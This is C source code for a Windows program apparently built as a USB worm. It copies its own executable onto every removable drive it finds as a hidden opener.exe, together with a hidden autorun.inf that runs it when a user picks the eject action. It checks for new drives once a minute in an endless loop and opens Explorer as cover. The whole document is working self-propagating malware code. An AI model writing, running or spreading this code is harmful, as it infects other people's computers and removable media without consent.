#define AUTORUN_CONTENTS "[autorun]\r\nshell\\eject=Eject\r\nshell\\eject\\command=opener.exe\r\nshell=eject\r\n" HANDLE hmutex = NULL; void closing() { if (hmutex) ReleaseMutex(hmutex); } int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { UNREFERENCED_PARAMETER(hPrevInstance); UNREFERENCED_PARAMETER(lpCmdLine); WCHAR myfile[1024]; GetModuleFileName(NULL, myfile, 1024); if (myfile[1] != L':') return 1; WCHAR cmd[1024]; wsprintf(cmd, L"explorer %c:\\", myfile[0]); STARTUPINFOW si; memset(&si, 0, sizeof(si)); si.cb = sizeof(si); PROCESS_INFORMATION po; memset(&po, 0, sizeof(po)); CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &po); hmutex = CreateMutex(NULL, TRUE, L"Opener"); if (hmutex == INVALID_HANDLE_VALUE) return 1; if (GetLastError() == ERROR_ALREADY_EXISTS) { CloseHandle(hmutex); return 1; } atexit(closing); HANDLE hmyfile = CreateFile(myfile, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); if (hmyfile == NULL) return 1; DWORD szhigh = 0; DWORD szlow = GetFileSize(hmyfile, &szhigh); if (szhigh != 0) { CloseHandle(hmyfile); return 1; } void *myfilemem = malloc(szhigh * 65536 + szlow); DWORD nread; ReadFile(hmyfile, myfilemem, szlow, &nread, NULL); CloseHandle(hmyfile); while(1) { DWORD mask = GetLogicalDrives(); for (int i = 0; i < 26; i++) if (mask & (1 << i)) { WCHAR path[100]; path[0] = L'A' + i; path[1] = L':'; path[2] = L'\\'; path[3] = 0; DWORD type = GetDriveType(path); if (type == DRIVE_REMOVABLE) { DWORD spc, bps, nfc, tnc; if (GetDiskFreeSpace(path, &spc, &bps, &nfc, &tnc)) { if (nfc < tnc) { wsprintf(path, L"%c:\\autorun.inf", L'A' + i); if (GetFileAttributes(path) == INVALID_FILE_ATTRIBUTES) { HANDLE h = CreateFile(path, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_HIDDEN, NULL); if (h != INVALID_HANDLE_VALUE) { DWORD written; WriteFile(h, AUTORUN_CONTENTS, (DWORD)strlen(AUTORUN_CONTENTS), &written, NULL); CloseHandle(h); wsprintf(path, L"%c:\\opener.exe", L'A' + i); h = CreateFile(path, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_HIDDEN, NULL); if (h != INVALID_HANDLE_VALUE) { WriteFile(h, myfilemem, szlow, &written, NULL); CloseHandle(h); } else { wsprintf(path, L"%c:\\autorun.inf", L'A' + i); DeleteFile(path); } } } } } } } Sleep(1000 * 60); } return 0; }